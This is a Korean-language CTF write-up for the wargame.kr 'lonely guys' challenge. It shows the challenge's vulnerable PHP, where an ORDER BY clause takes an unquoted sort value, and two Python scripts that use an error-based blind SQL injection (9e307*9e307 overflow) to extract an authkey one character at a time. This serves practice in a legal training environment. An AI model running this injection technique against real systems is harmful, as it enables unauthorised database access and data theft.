Wargame/wargame.kr
[Wargame.kr] lonely guys 풀이 (385p)
bjloed
2020. 7. 31. 12:20
lonely guys view-source code
Blind SQLi challenge.
Can you SQLi with 'order by' in expression?
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
$sort=$_POST['sort'];
}else{
$sort="asc";
}
<?php
mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
$sort = mysql_real_escape_string($sort);
$result=mysql_query("select * from guys_tbl order by reg_date $sort");
while($row=mysql_fetch_array($result)){
echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
}
?>
이번 문제에서는 테이블과 컬럼의 이름을 알려준다. (둘 다 authkey)
우리가 입력한 POST['sort']에 따라서, SQL 쿼리문이 실행된다.
select * from guys_tbl order by reg_date $sort
해당 SQL 쿼리문에는 order by가 포함되어 있으므로, ,를 이용해 subquery를 만들 수 있다.
처음으로 시도해봤던 방법은 ,뒤에 값이 TRUE면 정렬이 된다는 점을 이용해 IF문 분기를 TRUE,FALSE로 나눴으나 실패..
왜 실패한지는 모르겠다.
두번째 방법은, 9e307*9e307을 이용한 Error Based SQLi였다.
if(비교문, 9e307*9e307, 1)
비교문이 참이라면 9e307*9e307을 계산하게 만들어 오류를 발생시키는 구문이다. (계산 범위 초과)
authkey의 길이를 알아내는 코드는 다음과 같다.
import requests
import time
url = 'http://wargame.kr:8080/lonely_guys/index.php'
for i in range(1,43):
param = ', if(length((select authkey from authkey limit 0,1))='+str(i)+',9e307*9e307,0)'
data = {'sort' : param}
html = requests.post(url, data=data)
if 'jacob' in html.text:
print(str(i) + ' is passed.')
else:
print(': Answer -> ' + str(i))
break
이 코드를 이용해 authkey가 40자라는 것을 알아냈다. 이제는 authkey의 실제 값을 출력해보자.
import requests
import time
url = 'http://wargame.kr:8080/lonely_guys/index.php'
arr = []
for i in range(1,41):
for w in range(32,127):
param = ', if(ord(substr((select authkey from authkey limit 0,1),'+str(i)+',1))='+str(w)+',9e307*9e307,1)'
data = {'sort' : param}
html = requests.post(url, data=data)
if 'jacob' in html.text:
pass
else:
arr.append(str(chr(w)))
break
print(''.join(arr))
코드를 실행하면 flag를 얻을 수 있다.